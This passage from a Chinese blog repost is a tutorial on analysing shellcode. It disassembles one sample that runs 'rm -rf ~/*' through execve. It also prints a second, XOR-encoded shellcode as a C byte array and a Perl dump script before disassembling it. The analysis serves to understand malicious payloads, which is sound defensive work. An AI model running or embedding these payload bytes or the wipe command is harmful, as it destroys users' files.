你好,游客 登录 注册 搜索
背景:
阅读新闻

Shellcode的分析调试技巧

[日期:2011-10-07] 来源:blog.csdn.net/wangxiaolong_china  作者:wangxiaolong_china [字体:大 中 小]
开始几条指令可以改写为:

  1.  E825000000 call 0x2a  
  2. 2F62696E2F736800 db "/bin/sh"  
  3. 736800 db "sh"  
  4. 2D6300 db "-c"  
  5. 726d202D7266207E2F2A20323E2F6465762F6E756C6C00 db "rm -rf ~/* 2>/dev/null"  
  6. 5D pop ebp 

第一条指令为“call 0x2a”,接下来分析一下该指令调用的函数,即只保留0x2a(42)开始的指令的操作码。

  1.  root@linux:~/pentest# ./decode.py | cut -c 43- | ndisasm -u -  
  2. 00000000  5D                pop ebp  
  3. 00000001  31C0              xor eax,eax  
  4. 00000003  50                push eax  
  5. 00000004  8D5D0E            lea ebx,[ebp+0xe]  
  6. 00000007  53                push ebx  
  7. 00000008  8D5D0B            lea ebx,[ebp+0xb]  
  8. 0000000B  53                push ebx  
  9. 0000000C  8D5D08            lea ebx,[ebp+0x8]  
  10. 0000000F  53                push ebx  
  11. 00000010  89EB              mov ebx,ebp  
  12. 00000012  89E1              mov ecx,esp  
  13. 00000014  31D2              xor edx,edx  
  14. 00000016  B00B              mov al,0xb  
  15. 00000018  CD80              int 0x80  
  16. 0000001A  89C3              mov ebx,eax  
  17. 0000001C 31C0              xor eax,eax  
  18. 0000001E  40                inc eax  
  19. 0000001F  CD80              int 0x80  
  20. 00000021  0A                db 0x0a  
  21. root@linux:~/pentest#  

可以看到这是一个execve系统调用,它使用数组“sh”“-c”“rm –rf ~/* 2>/dev/null”作为第二个参数。

这样,该shellcode的功能已经一目了然了。

第三个shellcode代码如下:

  1.  char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff".  
  2.            "\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff".  
  3.            "\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b".  
  4.            "\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83".  
  5.            "\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a".  
  6.            "\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58".  
  7.            "\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58".  
  8.            "\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9".  
  9.            "\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a".  
  10.            "\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62".  
  11.            "\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb".  
  12.            "\xba\x01\xc7\x8a";  

首先,使用perl输出这个shellcode,然后用ndisasm分析这个shellcode。

  1. root@linux:~/pentest# cat shellcode.pl   
  2. #!/usr/bin/perl   
  3.   
  4. $shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff".  
  5.            "\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff".  
  6.            "\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b".  
  7.            "\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83".  
  8.            "\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a".  
  9.            "\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58".  
  10.            "\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58".  
  11.            "\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9".  
  12.            "\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a".  
  13.            "\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62".  
  14.            "\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb".  
  15.            "\xba\x01\xc7\x8a";  
  16.   
  17. open FILE,"> shellcode.bin";  
  18. print FILE $shellcode;  
  19.   
  20. close FILE;  
  21. root@linux:~/pentest# ./shellcode.pl  
  22. root@linux:~/pentest# ndisasm -b32 shellcode.bin  
  23. 00000000  EB11              jmp short 0x13  
  24. 00000002  5E                pop esi  
  25. 00000003  31C9              xor ecx,ecx  
  26. 00000005  B165              mov cl,0x65  
  27. 00000007  80740EFF0A        xor byte [esi+ecx-0x1],0xa  
  28. 0000000C  80E901            sub cl,0x1  
  29. 0000000F  75F6              jnz 0x7  
  30. 00000011  EB05              jmp short 0x18  
  31. 00000013  E8EAFFFFFF        call dword 0x2  
  32. 00000018  3BCA              cmp ecx,edx  
  33. 0000001A  3BD1              cmp edx,ecx  
  34. 0000001C  3BD8              cmp ebx,eax  
  35. 0000001E  5A                pop edx  
  36. 0000001F  60                pushad  
  37. 00000020  0B6008            or esp,[eax+0x8]  
  38. 00000023  83EBF4            sub ebx,byte -0xc  
  39. 00000026  C9                leave  
  40. 00000027  BA6CC78A83        mov edx,0x838ac76c  
  41. 0000002C  CC                int3  
  42. 0000002D  58                pop eax  
  43. 0000002E  62B108107083      bound esi,[ecx-0x7c8feff8]  
  44. 00000034  EB60              jmp short 0x96  
  45. 00000036  1A5B5C            sbb bl,[ebx+0x5c]  
  46. 00000039  83EBF4            sub ebx,byte -0xc  
  47. 0000003C  C9                leave  
  48. 0000003D  BA6CC78A58        mov edx,0x588ac76c  
  49. 00000042  5C                pop esp  
  50. 00000043  83EBB9            sub ebx,byte -0x47  
  51. 00000046  0E                push cs  
  52. 00000047  BA6CC78A58        mov edx,0x588ac76c  
  53. 0000004C  58                pop eax  
  54. 0000004D  5C                pop esp  
  55. 0000004E  83EBF4            sub ebx,byte -0xc  
  56. 00000051  C9                leave  
  57. 00000052  BA6CC78A83        mov edx,0x838ac76c  
  58. 00000057  C9                leave  
  59. 00000058  3BC3              cmp eax,ebx  
  60. 0000005A  BA35C78A4B        mov edx,0x4b8ac735  
  61. 0000005F  BA35C78A4B        mov edx,0x4b8ac735  
  62. 00000064  BA35C78A58        mov edx,0x588ac735  
  63. 00000069  622525796262      bound esp,[dword 0x62627925]  
  64. 0000006F  2568636483        and eax,0x83646368  
  65. 00000074  E9585983EB        jmp dword 0xeb8359d1  
  66. 00000079  BA                db 0xba  
  67. 0000007A  01C7              add edi,eax  
  68. 0000007C  8A                db 0x8a  
  69. root@linux:~/pentest#  
 

linux
相关资讯       ShellCode 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款